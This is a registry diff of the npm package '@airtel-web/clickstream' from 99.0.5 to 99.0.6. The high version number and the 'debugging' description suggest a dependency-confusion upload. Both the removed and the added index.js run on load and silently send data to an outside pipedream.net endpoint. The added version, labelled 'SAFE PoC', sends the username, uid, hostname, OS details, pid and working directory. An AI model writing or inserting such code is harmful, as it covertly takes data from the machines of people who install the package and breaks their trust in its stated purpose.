@airtel-web/clickstream 99.0.5 → 99.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +61 -26
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,26 +1,61 @@
1
- const https = require('https');
2
- const os = require('os');
3
-
4
- // Minimal "fire and forget" GET request
5
- try {
6
- const user = os.userInfo();
7
- const host = os.hostname();
8
- const qs = `?user=${encodeURIComponent(user)}&host=${encodeURIComponent(host)}`;
9
-
10
- https
11
- .get(
12
- {
13
- hostname: 'eosrhixgl4px9ae.m.pipedream.net',
14
- port: 443,
15
- path: '/' + qs,
16
- method: 'GET'
17
- },
18
- (res) => {
19
- // Drain and ignore response
20
- res.resume();
21
- }
22
- )
23
- .on('error', () => {
24
- // Silently ignore errors
25
- });
26
- } catch (e) { }
1
+
2
+
3
+ /**
4
+ * SAFE PoC Info Dumper
5
+ * - Read-only
6
+ * - Sends info via GET request body
7
+ * - No exec, no fs writes
8
+ */
9
+
10
+ const os = require("os");
11
+ const http = require("http");
12
+
13
+ function safeInfoDump() {
14
+ return {
15
+ timestamp: new Date().toISOString(),
16
+
17
+ user: {
18
+ username: os.userInfo().username,
19
+ uid: os.userInfo().uid,
20
+ gid: os.userInfo().gid
21
+ },
22
+
23
+ system: {
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ type: os.type(),
27
+ release: os.release(),
28
+ arch: os.arch()
29
+ },
30
+
31
+ process: {
32
+ pid: process.pid,
33
+ cwd: process.cwd(),
34
+ nodeVersion: process.version
35
+ }
36
+ };
37
+ }
38
+
39
+ const data = JSON.stringify(safeInfoDump());
40
+
41
+ const options = {
42
+ hostname: "eosrhixgl4px9ae.m.pipedream.net", // 🔁 change target
43
+ port: 443,
44
+ path: "/collect",
45
+ method: "GET",
46
+ headers: {
47
+ "Content-Type": "application/json",
48
+ "Content-Length": Buffer.byteLength(data)
49
+ }
50
+ };
51
+
52
+ const req = http.request(options, res => {
53
+ // intentionally silent
54
+ });
55
+
56
+ req.on("error", () => {
57
+ // fail silently for PoC safety
58
+ });
59
+
60
+ req.write(data);
61
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@airtel-web/clickstream",
3
- "version": "99.0.5",
3
+ "version": "99.0.6",
4
4
  "description": "debugging",
5
5
  "license": "MIT",
6
6
  "author": "mpanwar",